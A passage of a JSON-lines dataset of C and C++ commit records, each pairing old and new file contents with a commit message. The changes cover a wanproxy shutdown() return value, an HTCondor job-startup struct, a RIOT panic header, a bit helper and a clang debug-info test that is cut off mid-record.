{"commit":"3e752a6b1abdc2770c1968bed604b639cf93be09","old_file":"io\/file_descriptor.h","new_file":"io\/file_descriptor.h","old_contents":"#ifndef\tFILE_DESCRIPTOR_H\n#define\tFILE_DESCRIPTOR_H\n\n#include <io\/channel.h>\n\nclass FileDescriptor : public Channel {\n\tLogHandle log_;\nprotected:\n\tint fd_;\npublic:\n\tFileDescriptor(int);\n\t~FileDescriptor();\n\n\tvirtual Action *close(EventCallback *);\n\tvirtual Action *read(size_t, EventCallback *);\n\tvirtual Action *write(Buffer *, EventCallback *);\n\n\tvirtual bool shutdown(bool, bool)\n\t{\n\t\treturn (false);\n\t}\n};\n\n#endif \/* !FILE_DESCRIPTOR_H *\/\n","new_contents":"#ifndef\tFILE_DESCRIPTOR_H\n#define\tFILE_DESCRIPTOR_H\n\n#include <io\/channel.h>\n\nclass FileDescriptor : public Channel {\n\tLogHandle log_;\nprotected:\n\tint fd_;\npublic:\n\tFileDescriptor(int);\n\t~FileDescriptor();\n\n\tvirtual Action *close(EventCallback *);\n\tvirtual Action *read(size_t, EventCallback *);\n\tvirtual Action *write(Buffer *, EventCallback *);\n\n\tvirtual bool shutdown(bool, bool)\n\t{\n\t\treturn (true);\n\t}\n};\n\n#endif \/* !FILE_DESCRIPTOR_H *\/\n","subject":"Return success rather than failure from shutdown() on FileDescriptor, since it is entirely immaterial.","message":"Return success rather than failure from shutdown() on FileDescriptor, since it\nis entirely immaterial.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@333 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,splbio\/wanproxy"}
{"commit":"ede9100cc73dfc9a0ed831c1801a3d100cf5b9a9","old_file":"src\/h\/startup.h","new_file":"src\/h\/startup.h","old_contents":"","new_contents":"typedef struct {\n\tint\t\tcluster;\t\t\t\t\/* Condor Cluster # *\/\n\tint\t\tproc;\t\t\t\t\t\/* Condor Proc # *\/\n\tint\t\tjob_class;\t\t\t\t\/* STANDARD, VANILLA, PVM, PIPE, ... *\/\n\tuid_t\tuid;\t\t\t\t\t\/* Execute job under this UID *\/\n\tgid_t\tgid;\t\t\t\t\t\/* Execute job under this pid *\/\n\tpid_t\tvirt_pid;\t\t\t\t\/* PVM virt pid of this process *\/\n\tint\t\tsoft_kill_sig;\t\t\t\/* Use this signal for a soft kill *\/\n\tchar\t*a_out_name;\t\t\t\/* Where to get executable file *\/\n\tchar\t*cmd;\t\t\t\t\t\/* Command name given by the user *\/\n\tchar\t*args;\t\t\t\t\t\/* Command arguments given by the user *\/\n\tchar\t*env;\t\t\t\t\t\/* Environment variables *\/\n\tchar\t*iwd;\t\t\t\t\t\/* Initial working directory *\/\n\tBOOLEAN\tckpt_wanted;\t\t\t\/* Whether user wants checkpointing *\/\n\tBOOLEAN\tis_restart;\t\t\t\t\/* Whether this run is a restart *\/\n\tBOOLEAN\tcoredump_limit_exists;\t\/* Whether user wants to limit core size *\/\n\tint\t\tcoredump_limit;\t\t\t\/* Limit in bytes *\/\n} STARTUP_INFO;\n","subject":"Structure defining information starter needs from the shadow to start up a user job.","message":"Structure defining information starter needs from the shadow to start up\na user job.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/condor,htcondor\/htcondor,htcondor\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,neurodebian\/htcondor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,htcondor\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor"}
{"commit":"58e3caf75a50a64d485b82d12d2353985413401f","old_file":"src\/util\/bitwise.h","new_file":"src\/util\/bitwise.h","old_contents":"#pragma once\n\n#include \"..\/definitions.h\"\n#include \"log.h\"\n\nnamespace bitwise {\n\ninline u16 compose_bytes(const u8 high, const u8 low) {\n    return static_cast<u16>((high << 8) + low);\n}\n\ninline bool check_bit(const u8 value, const u8 bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline u8 set_bit(const u8 value, const u8 bit) {\n    auto value_set = value | (1 << bit);\n    return static_cast<u8>(value_set);\n}\n\ninline u8 clear_bit(const u8 value, const u8 bit) {\n    auto value_cleared = value & ~(1 << bit);\n    return static_cast<u8>(value_cleared);\n}\n\ninline u8 set_bit_to(const u8 value, const u8 bit, bool bit_on) {\n    return bit_on ? set_bit(value, bit) : clear_bit(value, bit);\n}\n\n} \/\/ namespace bitwise\n","new_contents":"#pragma once\n\n#include \"..\/definitions.h\"\n#include \"log.h\"\n\nnamespace bitwise {\n\ninline u16 compose_bytes(const u8 high, const u8 low) {\n    return static_cast<u16>((high << 8) + low);\n}\n\ninline bool check_bit(const u8 value, const u8 bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline u8 bit_value(const u8 value, const u8 bit) {\n    return (value >> bit) & 1;\n}\n\ninline u8 set_bit(const u8 value, const u8 bit) {\n    auto value_set = value | (1 << bit);\n    return static_cast<u8>(value_set);\n}\n\ninline u8 clear_bit(const u8 value, const u8 bit) {\n    auto value_cleared = value & ~(1 << bit);\n    return static_cast<u8>(value_cleared);\n}\n\ninline u8 set_bit_to(const u8 value, const u8 bit, bool bit_on) {\n    return bit_on ? set_bit(value, bit) : clear_bit(value, bit);\n}\n\n} \/\/ namespace bitwise\n","subject":"Add a bit_value function for the numeric value of a single bit","message":"Add a bit_value function for the numeric value of a single bit\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"d007207f3e5c11744d612786df9e7c35887de2b5","old_file":"core\/include\/crash.h","new_file":"core\/include\/crash.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2014 INRIA\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @addtogroup  core_util\n * @{\n *\n * @file        crash.h\n * @brief       Crash handling header\n *\n * Define a panic() function that allows to stop\/reboot the system\n *  when an unrecoverable problem has occured.\n *\n * @author      Kévin Roussel <Kevin.Roussel@inria.fr>\n *\/\n\n#ifndef __CRASH_H\n#define __CRASH_H\n\n#include \"kernel.h\"\n\n\/** Handle an unrecoverable error by halting or rebooting the system.\n    A numeric code indicating the failure reason can be given\n    as the ::crash_code parameter.\n    Detailing the failure is possible using the ::message parameter.\n    This function should serve a similar purpose than the panic()\n    function of Unix\/Linux kernels.\n\n    if DEVELHELP macro is defined, system will be halted;\n    system will be rebooted otherwise.\n\n    WARNING: this function NEVER returns! *\/\nNORETURN void core_panic(int crash_code, const char *message);\n\n\/** @} *\/\n#endif \/* __CRASH_H *\/\n","subject":"Add a mechanism for handling fatal errors (and reboots)","message":"Add a mechanism for handling fatal errors (and reboots)\n","lang":"C","license":"lgpl-2.1","repos":"rfswarm2\/RIOT,rfswarm\/RIOT,zhuoshuguo\/RIOT,cladmi\/RIOT,dkm\/RIOT,locicontrols\/RIOT,ant9000\/RIOT,OlegHahm\/RIOT,mziegert\/RIOT,dkm\/RIOT,A-Paul\/RIOT,koenning\/RIOT,arvindpdmn\/RIOT,PSHIVANI\/Riot-Code,abkam07\/RIOT,altairpearl\/RIOT,robixnai\/RIOT,MonsterCode8000\/RIOT,OTAkeys\/RIOT,altairpearl\/RIOT,LudwigOrtmann\/RIOT,dhruvvyas90\/RIOT,Darredevil\/RIOT,lazytech-org\/RIOT,Osblouf\/RIOT,gebart\/RIOT,openkosmosorg\/RIOT,thiagohd\/RIOT,FrancescoErmini\/RIOT,neumodisch\/RIOT,smlng\/RIOT,hamilton-mote\/RIOT-OS,TobiasFredersdorf\/RIOT,Lexandro92\/RIOT-CoAP,ximus\/RIOT,biboc\/RIOT,cladmi\/RIOT,rousselk\/RIOT,l3nko\/RIOT,rakendrathapa\/RIOT,Lotterleben\/RIOT,OlegHahm\/RIOT,BytesGalore\/PetersRIOT,AnonMall\/RIOT,khhhh\/RIOT,attdona\/RIOT,locicontrols\/RIOT,alignan\/RIOT,spium\/IoT-RIOT,kerneltask\/RIOT,automote\/RIOT,MonsterCode8000\/RIOT,MonsterCode8000\/RIOT,Osblouf\/RIOT,Yonezawa-T2\/RIOT,daniel-k\/RIOT,JensErdmann\/RIOT,gautric\/RIOT,Lotterleben\/RIOT,altairpearl\/RIOT,ntrtrung\/RIOT,herrfz\/RIOT,nsol-nmsu\/RIOT,kYc0o\/RIOT,jasonatran\/RIOT,jhollister\/RIOT,openkosmosorg\/RIOT,dailab\/RIOT,Hyungsin\/RIOT-OS,thiagohd\/RIOT,zhuoshuguo\/RIOT,yogo1212\/RIOT,malosek\/RIOT,Josar\/RIOT,ros2\/ros2_embedded_riot,smlng\/RIOT,avmelnikoff\/RIOT,x3ro\/RIOT,Osblouf\/RIOT,lebrush\/RIOT,attdona\/RIOT,robixnai\/RIOT,ks156\/RIOT,fnack\/RIOT,herrfz\/RIOT,backenklee\/RIOT,rousselk\/RIOT,brettswann\/RIOT,mziegert\/RIOT,herrfz\/RIOT-old,RBartz\/RIOT,sumanpanchal\/RIOT,aeneby\/RIOT,changbiao\/RIOT,kbumsik\/RIOT,jferreir\/RIOT,hamilton-mote\/RIOT-OS,RIOT-OS\/RIOT,jfischer-phytec-iot\/RIOT,fnack\/RIOT,haoyangyu\/RIOT,BytesGalore\/RIOT,MohmadAyman\/RIOT,authmillenon\/RIOT,katezilla\/RIOT,gautric\/RIOT,rakendrathapa\/RIOT,A-Paul\/RIOT,rfswarm2\/RIOT,adjih\/RIOT,changbiao\/RIOT,tdautc19841202\/RIOT,ntrtrung\/RIOT,hamilton-mote\/RIOT-OS,kaleb-himes\/RIOT,Hyungsin\/RIOT-OS,MonsterCode8000\/RIOT,adrianghc\/RIOT,biboc\/RIOT,roberthartung\/RIOT,adjih\/RIOT,neumodisch\/RIOT,Yonezawa-T2\/RIOT,mfrey\/RIOT,altairpearl\/RIOT,gebart\/RIOT,dhruvvyas90\/RIOT,A-Paul\/RIOT,chris-wood\/RIOT,aeneby\/RIOT,herrfz\/RIOT,herrfz\/RIOT,bartfaizoltan\/RIOT,gbarnett\/RIOT,gebart\/RIOT,shady33\/RIOT,abp719\/RIOT,LudwigOrtmann\/RIOT,shady33\/RIOT,mfrey\/RIOT,watr-li\/RIOT,shady33\/RIOT,zhuoshuguo\/RIOT,dhruvvyas90\/RIOT,dkm\/RIOT,JensErdmann\/RIOT,brettswann\/RIOT,hamilton-mote\/RIOT-OS,Lotterleben\/RIOT,Lexandro92\/RIOT-CoAP,authmillenon\/RIOT,herrfz\/RIOT-old,smlng\/RIOT,Ell-i\/RIOT,brettswann\/RIOT,daniel-k\/RIOT,rajma996\/RIOT,josephnoir\/RIOT,OTAkeys\/RIOT,OTAkeys\/RIOT,Hyungsin\/RIOT-OS,roberthartung\/RIOT,ant9000\/RIOT,rakendrathapa\/RIOT,x3ro\/RIOT,plushvoxel\/RIOT,EmuxEvans\/RIOT,daniel-k\/RIOT,d00616\/RIOT,binarylemon\/RIOT,msolters\/RIOT,sgso\/RIOT,kaspar030\/RIOT,koenning\/RIOT,abkam07\/RIOT,sumanpanchal\/RIOT,arvindpdmn\/RIOT,neiljay\/RIOT,emmanuelsearch\/RIOT,MonsterCode8000\/RIOT,gautric\/RIOT,rakendrathapa\/RIOT,malosek\/RIOT,automote\/RIOT,jferreir\/RIOT,jbeyerstedt\/RIOT-OTA-update,rajma996\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,attdona\/RIOT,toonst\/RIOT,biboc\/RIOT,BytesGalore\/RIOT,MarkXYang\/RIOT,OlegHahm\/RIOT,rfswarm\/RIOT,lazytech-org\/RIOT,alex1818\/RIOT,ntrtrung\/RIOT,binarylemon\/RIOT,rfswarm2\/RIOT,ThanhVic\/RIOT,bartfaizoltan\/RIOT,marcosalm\/RIOT,haoyangyu\/RIOT,kushalsingh007\/RIOT,attdona\/RIOT,neiljay\/RIOT,marcosalm\/RIOT,abp719\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,abkam07\/RIOT,rfswarm2\/RIOT,authmillenon\/RIOT,syin2\/RIOT,RBartz\/RIOT,jferreir\/RIOT,malosek\/RIOT,1blankz7\/RIOT,RubikonAlpha\/RIOT,neiljay\/RIOT,thomaseichinger\/RIOT,kaleb-himes\/RIOT,RBartz\/RIOT,LudwigOrtmann\/RIOT,adrianghc\/RIOT,wentaoshang\/RIOT,latsku\/RIOT,wentaoshang\/RIOT,centurysys\/RIOT,alex1818\/RIOT,spium\/IoT-RIOT,l3nko\/RIOT,PSHIVANI\/Riot-Code,PSHIVANI\/Riot-Code,MohmadAyman\/RIOT,RIOT-OS\/RIOT,luciotorre\/RIOT,patkan\/RIOT,dailab\/RIOT,adrianghc\/RIOT,malosek\/RIOT,haoyangyu\/RIOT,toonst\/RIOT,emmanuelsearch\/RIOT,avmelnikoff\/RIOT,Lotterleben\/RIOT,adjih\/RIOT,gbarnett\/RIOT,Lotterleben\/RIOT,Lexandro92\/RIOT-CoAP,MarkXYang\/RIOT,spium\/IoT-RIOT,thiagohd\/RIOT,ThanhVic\/RIOT,syin2\/RIOT,RubikonAlpha\/RIOT,immesys\/RiSyn,tdautc19841202\/RIOT,immesys\/RiSyn,Darredevil\/RIOT,ntrtrung\/RIOT,Darredevil\/RIOT,kb2ma\/RIOT,latsku\/RIOT,gbarnett\/RIOT,yogo1212\/RIOT,DipSwitch\/RIOT,tfar\/RIOT,rousselk\/RIOT,alex1818\/RIOT,kYc0o\/RIOT,d00616\/RIOT,syin2\/RIOT,miri64\/RIOT,RIOT-OS\/RIOT,ks156\/RIOT,abp719\/RIOT,benoit-canet\/RIOT,jremmert-phytec-iot\/RIOT,arvindpdmn\/RIOT,msolters\/RIOT,adrianghc\/RIOT,Josar\/RIOT,patkan\/RIOT,immesys\/RiSyn,jremmert-phytec-iot\/RIOT,katezilla\/RIOT,daniel-k\/RIOT,wentaoshang\/RIOT,backenklee\/RIOT,jbeyerstedt\/RIOT-OTA-update,herrfz\/RIOT-old,miri64\/RIOT,josephnoir\/RIOT,koenning\/RIOT,hamilton-mote\/RIOT-OS,ximus\/RIOT,AnonMall\/RIOT,aeneby\/RIOT,d00616\/RIOT,asanka-code\/RIOT,AnonMall\/RIOT,josephnoir\/RIOT,abp719\/RIOT,FrancescoErmini\/RIOT,DipSwitch\/RIOT,jasonatran\/RIOT,alex1818\/RIOT,basilfx\/RIOT,cladmi\/RIOT,rajma996\/RIOT,kb2ma\/RIOT,kYc0o\/RIOT,dhruvvyas90\/RIOT,ximus\/RIOT,fnack\/RIOT,asanka-code\/RIOT,koenning\/RIOT,rfuentess\/RIOT,DipSwitch\/RIOT,FrancescoErmini\/RIOT,robixnai\/RIOT,lebrush\/RIOT,gbarnett\/RIOT,FrancescoErmini\/RIOT,AnonMall\/RIOT,binarylemon\/RIOT,Ell-i\/RIOT,phiros\/RIOT,luciotorre\/RIOT,jhollister\/RIOT,josephnoir\/RIOT,gbarnett\/RIOT,ntrtrung\/RIOT,kbumsik\/RIOT,phiros\/RIOT,bartfaizoltan\/RIOT,beurdouche\/RIOT,Lotterleben\/RIOT,MohmadAyman\/RIOT,Darredevil\/RIOT,locicontrols\/RIOT,Josar\/RIOT,brettswann\/RIOT,ks156\/RIOT,nsol-nmsu\/RIOT,MarkXYang\/RIOT,tfar\/RIOT,toonst\/RIOT,jfischer-phytec-iot\/RIOT,RubikonAlpha\/RIOT,DipSwitch\/RIOT,altairpearl\/RIOT,OlegHahm\/RIOT,alex1818\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,wentaoshang\/RIOT,thomaseichinger\/RIOT,benoit-canet\/RIOT,latsku\/RIOT,katezilla\/RIOT,ros2\/ros2_embedded_riot,mtausig\/RIOT,ntrtrung\/RIOT,BytesGalore\/RIOT,nsol-nmsu\/RIOT,alignan\/RIOT,yogo1212\/RIOT,sgso\/RIOT,stevenj\/RIOT,smlng\/RIOT,ant9000\/RIOT,gautric\/RIOT,gautric\/RIOT,kushalsingh007\/RIOT,binarylemon\/RIOT,haoyangyu\/RIOT,khhhh\/RIOT,x3ro\/RIOT,rfuentess\/RIOT,neumodisch\/RIOT,rfswarm\/RIOT,jbeyerstedt\/RIOT-OTA-update,DipSwitch\/RIOT,plushvoxel\/RIOT,luciotorre\/RIOT,jbeyerstedt\/RIOT-OTA-update,MohmadAyman\/RIOT,adrianghc\/RIOT,patkan\/RIOT,DipSwitch\/RIOT,Osblouf\/RIOT,sgso\/RIOT,OTAkeys\/RIOT,katezilla\/RIOT,dailab\/RIOT,abkam07\/RIOT,yogo1212\/RIOT,mtausig\/RIOT,tfar\/RIOT,BytesGalore\/PetersRIOT,biboc\/RIOT,mfrey\/RIOT,Josar\/RIOT,phiros\/RIOT,PSHIVANI\/Riot-Code,automote\/RIOT,neiljay\/RIOT,Ell-i\/RIOT,Osblouf\/RIOT,Yonezawa-T2\/RIOT,rousselk\/RIOT,haoyangyu\/RIOT,dailab\/RIOT,TobiasFredersdorf\/RIOT,MohmadAyman\/RIOT,kaleb-himes\/RIOT,JensErdmann\/RIOT,Hyungsin\/RIOT-OS,dkm\/RIOT,rousselk\/RIOT,jfischer-phytec-iot\/RIOT,sgso\/RIOT,Yonezawa-T2\/RIOT,tdautc19841202\/RIOT,adjih\/RIOT,haoyangyu\/RIOT,abkam07\/RIOT,sumanpanchal\/RIOT,kb2ma\/RIOT,centurysys\/RIOT,EmuxEvans\/RIOT,watr-li\/RIOT,Darredevil\/RIOT,cladmi\/RIOT,robixnai\/RIOT,PSHIVANI\/Riot-Code,malosek\/RIOT,plushvoxel\/RIOT,zhuoshuguo\/RIOT,stevenj\/RIOT,chris-wood\/RIOT,smlng\/RIOT,miri64\/RIOT,automote\/RIOT,emmanuelsearch\/RIOT,basilfx\/RIOT,jremmert-phytec-iot\/RIOT,RubikonAlpha\/RIOT,marcosalm\/RIOT,sumanpanchal\/RIOT,bartfaizoltan\/RIOT,mtausig\/RIOT,attdona\/RIOT,RBartz\/RIOT,rakendrathapa\/RIOT,dailab\/RIOT,mziegert\/RIOT,msolters\/RIOT,phiros\/RIOT,stevenj\/RIOT,thiagohd\/RIOT,RubikonAlpha\/RIOT,Lexandro92\/RIOT-CoAP,katezilla\/RIOT,l3nko\/RIOT,AnonMall\/RIOT,immesys\/RiSyn,basilfx\/RIOT,jremmert-phytec-iot\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,marcosalm\/RIOT,bartfaizoltan\/RIOT,emmanuelsearch\/RIOT,rajma996\/RIOT,Hyungsin\/RIOT-OS,avmelnikoff\/RIOT,kb2ma\/RIOT,sgso\/RIOT,authmillenon\/RIOT,asanka-code\/RIOT,MonsterCode8000\/RIOT,ThanhVic\/RIOT,phiros\/RIOT,stevenj\/RIOT,herrfz\/RIOT,syin2\/RIOT,watr-li\/RIOT,TobiasFredersdorf\/RIOT,1blankz7\/RIOT,BytesGalore\/RIOT,koenning\/RIOT,kaspar030\/RIOT,cladmi\/RIOT,marcosalm\/RIOT,kaleb-himes\/RIOT,thiagohd\/RIOT,latsku\/RIOT,ant9000\/RIOT,OlegHahm\/RIOT,dhruvvyas90\/RIOT,watr-li\/RIOT,arvindpdmn\/RIOT,yogo1212\/RIOT,jasonatran\/RIOT,khhhh\/RIOT,rfswarm\/RIOT,RBartz\/RIOT,rfuentess\/RIOT,gbarnett\/RIOT,authmillenon\/RIOT,patkan\/RIOT,MohmadAyman\/RIOT,JensErdmann\/RIOT,LudwigKnuepfer\/RIOT,kerneltask\/RIOT,kbumsik\/RIOT,RIOT-OS\/RIOT,alignan\/RIOT,x3ro\/RIOT,robixnai\/RIOT,josephnoir\/RIOT,benoit-canet\/RIOT,abp719\/RIOT,herrfz\/RIOT,kerneltask\/RIOT,TobiasFredersdorf\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,arvindpdmn\/RIOT,Lexandro92\/RIOT-CoAP,ximus\/RIOT,changbiao\/RIOT,EmuxEvans\/RIOT,marcosalm\/RIOT,emmanuelsearch\/RIOT,LudwigOrtmann\/RIOT,ros2\/ros2_embedded_riot,centurysys\/RIOT,mfrey\/RIOT,daniel-k\/RIOT,d00616\/RIOT,jfischer-phytec-iot\/RIOT,tfar\/RIOT,FrancescoErmini\/RIOT,yogo1212\/RIOT,chris-wood\/RIOT,alignan\/RIOT,centurysys\/RIOT,wentaoshang\/RIOT,khhhh\/RIOT,RBartz\/RIOT,herrfz\/RIOT-old,LudwigKnuepfer\/RIOT,jfischer-phytec-iot\/RIOT,RubikonAlpha\/RIOT,jhollister\/RIOT,kaleb-himes\/RIOT,beurdouche\/RIOT,BytesGalore\/RIOT,thomaseichinger\/RIOT,khhhh\/RIOT,biboc\/RIOT,BytesGalore\/PetersRIOT,luciotorre\/RIOT,roberthartung\/RIOT,l3nko\/RIOT,syin2\/RIOT,chris-wood\/RIOT,aeneby\/RIOT,kushalsingh007\/RIOT,Lexandro92\/RIOT-CoAP,1blankz7\/RIOT,PSHIVANI\/Riot-Code,JensErdmann\/RIOT,Lotterleben\/RIOT,neumodisch\/RIOT,immesys\/RiSyn,LudwigOrtmann\/RIOT,kb2ma\/RIOT,MarkXYang\/RIOT,ximus\/RIOT,rousselk\/RIOT,Josar\/RIOT,khhhh\/RIOT,adjih\/RIOT,sgso\/RIOT,zhuoshuguo\/RIOT,rfswarm\/RIOT,openkosmosorg\/RIOT,roberthartung\/RIOT,kaspar030\/RIOT,patkan\/RIOT,mziegert\/RIOT,koenning\/RIOT,l3nko\/RIOT,backenklee\/RIOT,miri64\/RIOT,rfswarm2\/RIOT,plushvoxel\/RIOT,basilfx\/RIOT,1blankz7\/RIOT,chris-wood\/RIOT,latsku\/RIOT,EmuxEvans\/RIOT,lebrush\/RIOT,openkosmosorg\/RIOT,roberthartung\/RIOT,ThanhVic\/RIOT,msolters\/RIOT,openkosmosorg\/RIOT,stevenj\/RIOT,benoit-canet\/RIOT,kbumsik\/RIOT,Yonezawa-T2\/RIOT,1blankz7\/RIOT,backenklee\/RIOT,mtausig\/RIOT,mziegert\/RIOT,miri64\/RIOT,herrfz\/RIOT-old,JensErdmann\/RIOT,stevenj\/RIOT,alignan\/RIOT,jasonatran\/RIOT,locicontrols\/RIOT,sumanpanchal\/RIOT,BytesGalore\/PetersRIOT,rfuentess\/RIOT,jferreir\/RIOT,binarylemon\/RIOT,kaspar030\/RIOT,zhuoshuguo\/RIOT,rajma996\/RIOT,brettswann\/RIOT,backenklee\/RIOT,jhollister\/RIOT,tdautc19841202\/RIOT,benoit-canet\/RIOT,attdona\/RIOT,abp719\/RIOT,neumodisch\/RIOT,toonst\/RIOT,luciotorre\/RIOT,changbiao\/RIOT,kushalsingh007\/RIOT,jhollister\/RIOT,rfswarm2\/RIOT,ks156\/RIOT,immesys\/RiSyn,BytesGalore\/PetersRIOT,basilfx\/RIOT,d00616\/RIOT,jferreir\/RIOT,Ell-i\/RIOT,bartfaizoltan\/RIOT,emmanuelsearch\/RIOT,locicontrols\/RIOT,RIOT-OS\/RIOT,authmillenon\/RIOT,locicontrols\/RIOT,A-Paul\/RIOT,lebrush\/RIOT,LudwigKnuepfer\/RIOT,shady33\/RIOT,ros2\/ros2_embedded_riot,jbeyerstedt\/RIOT-OTA-update,jferreir\/RIOT,dkm\/RIOT,spium\/IoT-RIOT,jasonatran\/RIOT,rfswarm\/RIOT,fnack\/RIOT,thomaseichinger\/RIOT,EmuxEvans\/RIOT,watr-li\/RIOT,l3nko\/RIOT,lazytech-org\/RIOT,kbumsik\/RIOT,TobiasFredersdorf\/RIOT,spium\/IoT-RIOT,msolters\/RIOT,asanka-code\/RIOT,neiljay\/RIOT,Ell-i\/RIOT,Darredevil\/RIOT,MarkXYang\/RIOT,OTAkeys\/RIOT,automote\/RIOT,daniel-k\/RIOT,changbiao\/RIOT,thomaseichinger\/RIOT,benoit-canet\/RIOT,malosek\/RIOT,gebart\/RIOT,avmelnikoff\/RIOT,ros2\/ros2_embedded_riot,tdautc19841202\/RIOT,dhruvvyas90\/RIOT,fnack\/RIOT,thiagohd\/RIOT,fnack\/RIOT,lebrush\/RIOT,latsku\/RIOT,ThanhVic\/RIOT,alex1818\/RIOT,openkosmosorg\/RIOT,Yonezawa-T2\/RIOT,centurysys\/RIOT,tfar\/RIOT,jremmert-phytec-iot\/RIOT,luciotorre\/RIOT,mziegert\/RIOT,msolters\/RIOT,kYc0o\/RIOT,locicontrols\/RIOT,beurdouche\/RIOT,tdautc19841202\/RIOT,lebrush\/RIOT,kerneltask\/RIOT,ros2\/ros2_embedded_riot,plushvoxel\/RIOT,rajma996\/RIOT,wentaoshang\/RIOT,BytesGalore\/PetersRIOT,lazytech-org\/RIOT,jremmert-phytec-iot\/RIOT,shady33\/RIOT,kushalsingh007\/RIOT,gebart\/RIOT,ThanhVic\/RIOT,1blankz7\/RIOT,ks156\/RIOT,avmelnikoff\/RIOT,kerneltask\/RIOT,toonst\/RIOT,beurdouche\/RIOT,automote\/RIOT,nsol-nmsu\/RIOT,neumodisch\/RIOT,x3ro\/RIOT,aeneby\/RIOT,nsol-nmsu\/RIOT,changbiao\/RIOT,mfrey\/RIOT,EmuxEvans\/RIOT,Osblouf\/RIOT,LudwigKnuepfer\/RIOT,binarylemon\/RIOT,sumanpanchal\/RIOT,ant9000\/RIOT,MarkXYang\/RIOT,brettswann\/RIOT,asanka-code\/RIOT,kushalsingh007\/RIOT,spium\/IoT-RIOT,watr-li\/RIOT,rakendrathapa\/RIOT,d00616\/RIOT,BytesGalore\/PetersRIOT,AnonMall\/RIOT,lazytech-org\/RIOT,robixnai\/RIOT,patkan\/RIOT,FrancescoErmini\/RIOT,LudwigKnuepfer\/RIOT,ximus\/RIOT,abkam07\/RIOT,chris-wood\/RIOT,kYc0o\/RIOT,phiros\/RIOT,kaspar030\/RIOT,jhollister\/RIOT,arvindpdmn\/RIOT,centurysys\/RIOT,LudwigOrtmann\/RIOT,rfuentess\/RIOT,ros2\/ros2_embedded_riot,beurdouche\/RIOT,A-Paul\/RIOT,mtausig\/RIOT,shady33\/RIOT,asanka-code\/RIOT,altairpearl\/RIOT"}
{"commit":"7a68c33310eef9aae11d887e36a0ea9a4fce15b1","old_file":"Settings\/Updater\/ProgressWindow.h","new_file":"Settings\/Updater\/ProgressWindow.h","old_contents":"","new_contents":"#pragma once\n\n#include \"..\/Controls\/Dialog.h\"\n#include \"..\/resource.h\"\n\nclass ProgressWindow : public Dialog {\npublic:\n    ProgressWindow() :\n    Dialog(L\"3RVX-UpdateProgress\", MAKEINTRESOURCE(IDD_DOWNLOAD)) {\n        ShowWindow(Dialog::DialogHandle(), SW_SHOWNORMAL);\n    }\n\n};","subject":"Add class for the progress window","message":"Add class for the progress window\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"5dcd7a8c429aa6f7d26cb8dfce62e4a793a6d9b5","old_file":"test\/Modules\/DebugInfoSubmoduleImport.c","new_file":"test\/Modules\/DebugInfoSubmoduleImport.c","old_contents":"\/\/ RUN: rm -rf %t\n\/\/ RUN: %clang_cc1 -fmodules -fmodule-format=obj -debug-info-kind=limited -dwarf-ext-refs \\\n\/\/ RUN:     -fimplicit-module-maps -x c -fmodules-cache-path=%t -I %S\/Inputs \\\n\/\/ RUN:     %s -emit-llvm -debugger-tuning=lldb -o - | FileCheck %s\n#include \"DebugSubmoduleA.h\"\n#include \"DebugSubmoduleB.h\"\n\n\/\/ CHECK: !DICompileUnit\n\/\/ CHECK-NOT: !DICompileUnit\n\/\/ CHECK: !DIModule(scope: ![[PARENT:.*]], name: \"DebugSubmoduleA\"\n\/\/ CHECK: [[PARENT]] = !DIModule(scope: null, name: \"DebugSubmodules\"\n\/\/ CHECK: !DIModule(scope: ![[PARENT]], name: \"DebugSubmoduleB\"\n\/\/ CHECK: !DICompileUnit({{.*}}splitDebugFilename: {{.*}}DebugSubmodules\n\/\/ CHECK-SAME:                 dwoId:\n\/\/ CHECK-NOT: !DICompileUnit\n","new_contents":"\/\/ RUN: rm -rf %t\n\/\/ RUN: %clang_cc1 -fmodules -fmodule-format=obj -debug-info-kind=limited -dwarf-ext-refs \\\n\/\/ RUN:     -fimplicit-module-maps -x c -fmodules-cache-path=%t -I 